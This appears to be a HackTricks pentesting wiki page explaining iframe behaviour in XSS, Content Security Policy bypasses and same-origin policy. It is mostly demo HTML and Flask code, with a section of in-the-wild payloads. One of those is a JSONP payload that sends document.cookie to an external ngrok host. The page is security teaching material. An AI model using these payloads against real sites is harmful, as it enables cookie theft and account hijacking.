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175 lines
8.6 KiB
Markdown
175 lines
8.6 KiB
Markdown
# Iframes in XSS, CSP and SOP
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Iframes in XSS
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There are 3 ways to indicate the content of an iframed page:
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* Via `src` indicating an URL (the URL may be cross origin or same origin)
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* Via `src` indicating the content using the `data:` protocol
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* Via `srcdoc` indicating the content
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**Accesing Parent & Child vars**
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```html
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<html>
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<script>
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var secret = "31337s3cr37t";
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</script>
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<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
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<iframe id="if2" src="child.html"></iframe>
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<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
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<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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<script>
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function access_children_vars(){
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alert(if1.secret);
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alert(if2.secret);
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alert(if3.secret);
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alert(if4.secret);
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}
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setTimeout(access_children_vars, 3000);
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</script>
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</html>
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```
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```html
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<!-- content of child.html -->
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<script>
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var secret="child secret";
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alert(parent.secret)
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</script>
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```
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If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
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Note how if4 is considered to have `null` origin.
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### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
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{% hint style="info" %}
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Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
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{% endhint %}
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The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
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However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
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Therefore it’s possible to bypass the CSP of a page with:
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```html
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<html>
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<head>
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<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
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</head>
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<script>
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var secret = "31337s3cr37t";
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</script>
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<iframe id="if1" src="child.html"></iframe>
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<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
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<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
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<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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</html>
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```
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Note how the **previous CSP only permits the execution of the inline script**.\
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However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
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 (1) (1).png>)
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Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
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You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
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```python
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import flask
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from flask import Flask
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app = Flask(__name__)
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@app.route("/")
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def index():
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resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
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resp.headers['Content-Security-Policy'] = "script-src 'self'"
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resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
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return resp
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@app.route("/cookie_s.html")
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
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if __name__ == "__main__":
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app.run()
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```
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### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
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```html
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<!-- This one requires the data: scheme to be allowed -->
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<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
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<!-- This one injects JS in a jsonp endppoint -->
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<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
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<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
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<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
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```
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### Iframe sandbox
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The `sandbox` attribute enables an extra set of restrictions for the content in the iframe. **By default, no restriction is applied.**
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When the `sandbox` attribute is present, and it will:
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* treat the content as being from a unique origin
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* block form submission
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* block script execution
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* disable APIs
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* prevent links from targeting other browsing contexts
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* prevent content from using plugins (through `<embed>`, `<object>`, `<applet>`, or other)
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* prevent the content to navigate its top-level browsing context
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* block automatically triggered features (such as automatically playing a video or automatically focusing a form control)
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The value of the `sandbox` attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.
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```html
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<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
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```
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## Iframes in SOP
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Check the following pages:
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
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[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
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{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
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[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
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{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
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[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
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{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
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[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
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{% endcontent-ref %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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